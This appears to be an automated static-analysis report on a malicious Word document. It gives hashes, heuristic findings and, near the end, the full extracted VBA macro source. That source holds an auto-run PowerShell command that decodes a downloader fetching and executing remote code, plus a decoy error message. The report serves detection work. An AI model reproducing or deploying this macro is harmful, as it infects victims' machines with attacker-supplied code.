Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 bda23e6f07a07233…

MALICIOUS

Office (OOXML)

19.8 KB Created: 2021-06-17 03:33:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-28
MD5: b79a48b5539316ea7a14eb768b8351c0 SHA-1: 1d107fc8cb2887f013fd65cd75fd44b0c4dd6be6 SHA-256: bda23e6f07a072334d52d4038d2aef76a187003a9f053f4134b7cff4f40fa149
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros with an AutoOpen subroutine that executes a PowerShell command. This command decodes a string of numbers into a PowerShell command that attempts to download a payload from 'bodymass.store/pricelist'. The use of WScript.Shell and Shell() calls indicates an intent to execute arbitrary code and download further malicious content.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Dim WshShell
    Set WshShell = CreateObject("Wscript.shell")
    With WshShell.Run(ret, x, y)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim WshShell
    Set WshShell = CreateObject("Wscript.shell")
    With WshShell.Run(ret, x, y)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    Retrieve
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1539 bytes
SHA-256: 9a81858b3d5c5b68839f498bace8d6cb8cfe1ebd531869f288268a2046903fb9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    Retrieve
    dexit
End Sub

Sub Retrieve()
    Str = "-Join (( 50 ,116,145 , 167, 55, 117,142, 152 ,145 ,143, 164 , 40 , 116 , 145, 164,56 , 127 ,145 , 142,103 ,154,151 , 145 , 156, 164,51 , 56, 120, 162 , 157 ,170,171 ,56 ,103 , 162 , 145 , 144 ,145, 156, 164,151,141 , 154 , 163, 75, 133 , 116 , 145 , 164 , 56, 103, 162 , 145,144,145 , 156, 164, 151 ,141,154 , 103 , 141,143,150, 145 ,135, 72 , 72,104 , 145,146 , 141 , 165 , 154,164, 116 , 145,164 , 167 , 157,162 ,153 ,103, 162, 145, 144 , 145 , 156 , 164 , 151 , 141 ,154, 163,73,151, 167, 162,50 ,47 , 150,164, 164,160,72 ,57 , 57 , 61 ,63 , 71 , 56, 61 ,70,60 ,56, 61 , 67 ,65 ,56 , 61 , 64 ,67 ,57 , 146,165, 154 ,154 , 162 ,165,156, 56, 160 ,163 , 61 ,47, 51,174 ,151, 145 ,170)|fOReaCH { ( [COnVeRT]::tOINt16( ( [strIng]$_),8) -As[ChAr]) })| &((vARiAbLe '*MDr*').naMe[3,11,2]-JoIn'')"
    c = "powers"
    t = "hell.exe"
    ret = c + t + " -noexit -command "
    ret = ret + Str
    x = 0
    y = True
    Dim WshShell
    Set WshShell = CreateObject("Wscript.shell")
    With WshShell.Run(ret, x, y)
    End With
End Sub

Sub dexit()
    MsgBox ("Error retrieving from bodymass.store/pricelist. Error 404")
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 22528 bytes
SHA-256: bdd5b6ecb729338a629f0d79064ad9719e0cedda48b5f1958e3f20cfe0f00214

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